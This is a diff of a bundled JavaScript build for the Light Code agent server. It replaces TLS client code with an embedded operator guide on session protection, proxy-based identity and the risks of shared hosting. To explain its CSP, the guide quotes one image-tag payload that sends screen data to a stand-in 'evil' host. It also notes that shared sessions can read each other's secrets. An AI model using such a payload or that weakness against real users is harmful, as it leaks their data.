cachedExtraCaPath = configuredPath;
|
|
34779
|
-
return cachedExtraCaCerts;
|
|
34780
|
-
}
|
|
34781
|
-
function buildCaBundle(configured, env2 = process.env) {
|
|
34782
|
-
const extraFromEnv = readNodeExtraCaCerts(env2);
|
|
34783
|
-
const extraFromConfig = configured ?? [];
|
|
34784
|
-
if (extraFromEnv.length === 0 && extraFromConfig.length === 0)
|
|
34785
|
-
return void 0;
|
|
34786
|
-
return [...tls.rootCertificates, ...extraFromEnv, ...extraFromConfig];
|
|
34787
|
-
}
|
|
34788
|
-
function buildConnectOptions(options, env2 = process.env) {
|
|
34789
|
-
const connect = {};
|
|
34790
|
-
if (options.rejectUnauthorized === false)
|
|
34791
|
-
connect.rejectUnauthorized = false;
|
|
34792
|
-
if (options.cert !== void 0)
|
|
34793
|
-
connect.cert = options.cert;
|
|
34794
|
-
if (options.key !== void 0)
|
|
34795
|
-
connect.key = options.key;
|
|
34796
|
-
if (options.pfx !== void 0)
|
|
34797
|
-
connect.pfx = options.pfx;
|
|
34798
|
-
if (options.passphrase !== void 0)
|
|
34799
|
-
connect.passphrase = options.passphrase;
|
|
34800
|
-
const ca = buildCaBundle(options.ca, env2);
|
|
34801
|
-
if (ca !== void 0)
|
|
34802
|
-
connect.ca = ca;
|
|
34803
|
-
return connect;
|
|
34804
|
-
}
|
|
34712
|
+
// src/generated/operatorGuide.ts
|
|
34713
|
+
var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
|
|
34805
34714
|
|
|
34806
|
-
//
|
|
34807
|
-
function
|
|
34808
|
-
|
|
34809
|
-
|
|
34810
|
-
|
|
34811
|
-
|
|
34812
|
-
|
|
34813
|
-
|
|
34814
|
-
|
|
34715
|
+
// src/guideText.ts
|
|
34716
|
+
function renderGuide(colour, source = OPERATOR_GUIDE) {
|
|
34717
|
+
if (!colour) return source;
|
|
34718
|
+
const ESC = "\x1B";
|
|
34719
|
+
const bold = (text) => `${ESC}[1m${text}${ESC}[0m`;
|
|
34720
|
+
const dim = (text) => `${ESC}[2m${text}${ESC}[0m`;
|
|
34721
|
+
return source.split("\n").map((line) => {
|
|
34722
|
+
const carriageReturn = line.endsWith("\r") ? "\r" : "";
|
|
34723
|
+
const text = carriageReturn === "" ? line : line.slice(0, -1);
|
|
34724
|
+
const heading = /^#{1,6}\s+(.*)$/.exec(text);
|
|
34725
|
+
if (heading !== null) return bold(heading[1] ?? text) + carriageReturn;
|
|
34726
|
+
if (text.startsWith("```")) return dim(text) + carriageReturn;
|
|
34727
|
+
return line;
|
|
34728
|
+
}).join("\n");
|
|
34815
34729
|
}
|
|
34816
|
-
var FetchHttpClient = class {
|
|
34817
|
-
/** Agents are pooled: building one per request would discard connection reuse entirely. */
|
|
34818
|
-
agents = /* @__PURE__ */ new Map();
|
|
34819
|
-
agentFor(tls2) {
|
|
34820
|
-
const key = tlsKey(tls2);
|
|
34821
|
-
const existing = this.agents.get(key);
|
|
34822
|
-
if (existing !== void 0)
|
|
34823
|
-
return existing;
|
|
34824
|
-
const agent = new import_undici.Agent({ connect: buildConnectOptions(tls2) });
|
|
34825
|
-
this.agents.set(key, agent);
|
|
34826
|
-
return agent;
|
|
34827
|
-
}
|
|
34828
|
-
/** Drops pooled agents so the next request rebuilds TLS — call when certs change on disk. */
|
|
34829
|
-
resetTlsAgents() {
|
|
34830
|
-
for (const agent of this.agents.values())
|
|
34831
|
-
void agent.close();
|
|
34832
|
-
this.agents.clear();
|
|
34833
|
-
}
|
|
34834
|
-
async request(url2, options = {}) {
|
|
34835
|
-
const init = {};
|
|
34836
|
-
if (options.method !== void 0)
|
|
34837
|
-
init.method = options.method;
|
|
34838
|
-
if (options.headers !== void 0)
|
|
34839
|
-
init.headers = options.headers;
|
|
34840
|
-
if (options.body !== void 0)
|
|
34841
|
-
init.body = options.body;
|
|
34842
|
-
if (options.signal !== void 0)
|
|
34843
|
-
init.signal = options.signal;
|
|
34844
|
-
if (options.tls !== void 0)
|
|
34845
|
-
init.dispatcher = this.agentFor(options.tls);
|
|
34846
|
-
const response = await (0, import_undici.fetch)(url2, init);
|
|
34847
|
-
return {
|
|
34848
|
-
status: response.status,
|
|
34849
|
-
headers: Object.fromEntries(response.headers.entries()),
|
|
34850
|
-
text: () => response.text(),
|
|
34851
|
-
json: () => response.json(),
|
|
34852
|
-
body: response.body
|
|
34853
|
-
};
|
|
34854
|
-
}
|
|
34855
|
-
};
|
|
34856
34730
|
|
|
34857
|
-
//
|
|
34858
|
-
import
|
|
34859
|
-
import
|
|
34860
|
-
var TlsConfigError = class extends Error {
|
|
34861
|
-
constructor(message) {
|
|
34862
|
-
super(message);
|
|
34863
|
-
this.name = "TlsConfigError";
|
|
34864
|
-
}
|
|
34865
|
-
};
|
|
34866
|
-
async function readFile(file2, certDir, label, seen) {
|
|
34867
|
-
const resolved = path2.isAbsolute(file2) ? file2 : certDir !== void 0 ? path2.join(certDir, file2) : file2;
|
|
34868
|
-
seen.push(resolved);
|
|
34869
|
-
try {
|
|
34870
|
-
return await fs2.readFile(resolved);
|
|
34871
|
-
} catch (error51) {
|
|
34872
|
-
const code = error51.code;
|
|
34873
|
-
throw new TlsConfigError(code === "ENOENT" ? `${label} not found at "${resolved}". Check the path in Settings \u2192 Network, or set a certificate directory there.` : `Could not read ${label.toLowerCase()} at "${resolved}": ${error51 instanceof Error ? error51.message : String(error51)}`);
|
|
34874
|
-
}
|
|
34875
|
-
}
|
|
34876
|
-
function hasClientMaterial(settings) {
|
|
34877
|
-
return settings?.certFile !== void 0 && settings.certFile.trim().length > 0 || settings?.pfxFile !== void 0 && settings.pfxFile.trim().length > 0;
|
|
34878
|
-
}
|
|
34879
|
-
async function resolveConnectionTls(options) {
|
|
34880
|
-
const paths = [];
|
|
34881
|
-
try {
|
|
34882
|
-
return await build(options, paths);
|
|
34883
|
-
} finally {
|
|
34884
|
-
if (paths.length > 0)
|
|
34885
|
-
options.onPaths?.(paths);
|
|
34886
|
-
}
|
|
34887
|
-
}
|
|
34888
|
-
async function build(options, paths) {
|
|
34889
|
-
const { global: global2, connection, certDir } = options;
|
|
34890
|
-
const cas = [];
|
|
34891
|
-
for (const file2 of [global2?.caFile, connection?.caFile]) {
|
|
34892
|
-
if (file2 !== void 0 && file2.trim().length > 0) {
|
|
34893
|
-
cas.push(await readFile(file2.trim(), certDir, "CA certificate", paths));
|
|
34894
|
-
}
|
|
34895
|
-
}
|
|
34896
|
-
const clientSource = hasClientMaterial(connection) ? connection : connection?.useGlobalClientCertificate === false ? void 0 : hasClientMaterial(global2) ? global2 : void 0;
|
|
34897
|
-
const rejectUnauthorized = connection?.rejectUnauthorized ?? global2?.rejectUnauthorized;
|
|
34898
|
-
if (cas.length === 0 && clientSource === void 0 && rejectUnauthorized !== false)
|
|
34899
|
-
return void 0;
|
|
34900
|
-
const tls2 = {};
|
|
34901
|
-
if (cas.length > 0)
|
|
34902
|
-
tls2.ca = cas;
|
|
34903
|
-
if (rejectUnauthorized === false)
|
|
34904
|
-
tls2.rejectUnauthorized = false;
|
|
34905
|
-
if (clientSource !== void 0) {
|
|
34906
|
-
if (clientSource.pfxFile !== void 0 && clientSource.pfxFile.trim().length > 0) {
|
|
34907
|
-
tls2.pfx = await readFile(clientSource.pfxFile.trim(), certDir, "PFX bundle", paths);
|
|
34908
|
-
} else {
|
|
34909
|
-
const certFile = clientSource.certFile?.trim() ?? "";
|
|
34910
|
-
const keyFile = clientSource.keyFile?.trim() ?? "";
|
|
34911
|
-
if (keyFile.length === 0) {
|
|
34912
|
-
throw new TlsConfigError("A client certificate is configured but no private key. Set the key file in Settings \u2192 Network, or use a PFX bundle.");
|
|
34913
|
-
}
|
|
34914
|
-
tls2.cert = await readFile(certFile, certDir, "Client certificate", paths);
|
|
34915
|
-
tls2.key = await readFile(keyFile, certDir, "Private key", paths);
|
|
34916
|
-
}
|
|
34917
|
-
if (options.passphrase !== void 0)
|
|
34918
|
-
tls2.passphrase = options.passphrase;
|
|
34919
|
-
}
|
|
34920
|
-
return tls2;
|
|
34921
|
-
}
|
|
34731
|
+
// src/sharedConfig.ts
|
|
34732
|
+
import fs17 from "node:fs/promises";
|
|
34733
|
+
import path22 from "node:path";
|
|
34922
34734
|
|
|
34923
34735
|
// ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
|
|
34924
34736
|
var external_exports = {};
|
|
@@ -35686,10 +35498,10 @@ function mergeDefs(...defs) {
|
|
|
35686
35498
|
function cloneDef(schema) {
|
|
35687
35499
|
return mergeDefs(schema._zod.def);
|
|
35688
35500
|
}
|
|
35689
|
-
function getElementAtPath(obj,
|
|
35690
|
-
if (!
|
|
35501
|
+
function getElementAtPath(obj, path29) {
|
|
35502
|
+
if (!path29)
|
|
35691
35503
|
return obj;
|
|
35692
|
-
return
|
|
35504
|
+
return path29.reduce((acc, key) => acc?.[key], obj);
|
|
35693
35505
|
}
|
|
35694
35506
|
function promiseAllObject(promisesObj) {
|
|
35695
35507
|
const keys = Object.keys(promisesObj);
|
|
@@ -36098,11 +35910,11 @@ function explicitlyAborted(x, startIndex = 0) {
|
|
|
36098
35910
|
}
|
|
36099
35911
|
return false;
|
|
36100
35912
|
}
|
|
36101
|
-
function prefixIssues(
|
|
35913
|
+
function prefixIssues(path29, issues) {
|
|
36102
35914
|
return issues.map((iss) => {
|
|
36103
35915
|
var _a3;
|
|
36104
35916
|
(_a3 = iss).path ?? (_a3.path = []);
|
|
36105
|
-
iss.path.unshift(
|
|
35917
|
+
iss.path.unshift(path29);
|
|
36106
35918
|
return iss;
|
|
36107
35919
|
});
|
|
36108
35920
|
}
|
|
@@ -36249,16 +36061,16 @@ function flattenError(error51, mapper = (issue2) => issue2.message) {
|
|
|
36249
36061
|
}
|
|
36250
36062
|
function formatError(error51, mapper = (issue2) => issue2.message) {
|
|
36251
36063
|
const fieldErrors = { _errors: [] };
|
|
36252
|
-
const processError = (error52,
|
|
36064
|
+
const processError = (error52, path29 = []) => {
|
|
36253
36065
|
for (const issue2 of error52.issues) {
|
|
36254
36066
|
if (issue2.code === "invalid_union" && issue2.errors.length) {
|
|
36255
|
-
issue2.errors.map((issues) => processError({ issues }, [...
|
|
36067
|
+
issue2.errors.map((issues) => processError({ issues }, [...path29, ...issue2.path]));
|
|
36256
36068
|
} else if (issue2.code === "invalid_key") {
|
|
36257
|
-
processError({ issues: issue2.issues }, [...
|
|
36069
|
+
processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
|
|
36258
36070
|
} else if (issue2.code === "invalid_element") {
|
|
36259
|
-
processError({ issues: issue2.issues }, [...
|
|
36071
|
+
processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
|
|
36260
36072
|
} else {
|
|
36261
|
-
const fullpath = [...
|
|
36073
|
+
const fullpath = [...path29, ...issue2.path];
|
|
36262
36074
|
if (fullpath.length === 0) {
|
|
36263
36075
|
fieldErrors._errors.push(mapper(issue2));
|
|
36264
36076
|
} else {
|
|
@@ -36285,17 +36097,17 @@ function formatError(error51, mapper = (issue2) => issue2.message) {
|
|
|
36285
36097
|
}
|
|
36286
36098
|
function treeifyError(error51, mapper = (issue2) => issue2.message) {
|
|
36287
36099
|
const result = { errors: [] };
|
|
36288
|
-
const processError = (error52,
|
|
36100
|
+
const processError = (error52, path29 = []) => {
|
|
36289
36101
|
var _a3, _b;
|
|
36290
36102
|
for (const issue2 of error52.issues) {
|
|
36291
36103
|
if (issue2.code === "invalid_union" && issue2.errors.length) {
|
|
36292
|
-
issue2.errors.map((issues) => processError({ issues }, [...
|
|
36104
|
+
issue2.errors.map((issues) => processError({ issues }, [...path29, ...issue2.path]));
|
|
36293
36105
|
} else if (issue2.code === "invalid_key") {
|
|
36294
|
-
processError({ issues: issue2.issues }, [...
|
|
36106
|
+
processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
|
|
36295
36107
|
} else if (issue2.code === "invalid_element") {
|
|
36296
|
-
processError({ issues: issue2.issues }, [...
|
|
36108
|
+
processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
|
|
36297
36109
|
} else {
|
|
36298
|
-
const fullpath = [...
|
|
36110
|
+
const fullpath = [...path29, ...issue2.path];
|
|
36299
36111
|
if (fullpath.length === 0) {
|
|
36300
36112
|
result.errors.push(mapper(issue2));
|
|
36301
36113
|
continue;
|
|
@@ -36327,8 +36139,8 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) {
|
|
|
36327
36139
|
}
|
|
36328
36140
|
function toDotPath(_path) {
|
|
36329
36141
|
const segs = [];
|
|
36330
|
-
const
|
|
36331
|
-
for (const seg of
|
|
36142
|
+
const path29 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
|
|
36143
|
+
for (const seg of path29) {
|
|
36332
36144
|
if (typeof seg === "number")
|
|
36333
36145
|
segs.push(`[${seg}]`);
|
|
36334
36146
|
else if (typeof seg === "symbol")
|
|
@@ -49020,13 +48832,13 @@ function resolveRef(ref, ctx) {
|
|
|
49020
48832
|
if (!ref.startsWith("#")) {
|
|
49021
48833
|
throw new Error("External $ref is not supported, only local refs (#/...) are allowed");
|
|
49022
48834
|
}
|
|
49023
|
-
const
|
|
49024
|
-
if (
|
|
48835
|
+
const path29 = ref.slice(1).split("/").filter(Boolean);
|
|
48836
|
+
if (path29.length === 0) {
|
|
49025
48837
|
return ctx.rootSchema;
|
|
49026
48838
|
}
|
|
49027
48839
|
const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions";
|
|
49028
|
-
if (
|
|
49029
|
-
const key =
|
|
48840
|
+
if (path29[0] === defsKey) {
|
|
48841
|
+
const key = path29[1];
|
|
49030
48842
|
if (!key || !ctx.defs[key]) {
|
|
49031
48843
|
throw new Error(`Reference not found: ${ref}`);
|
|
49032
48844
|
}
|
|
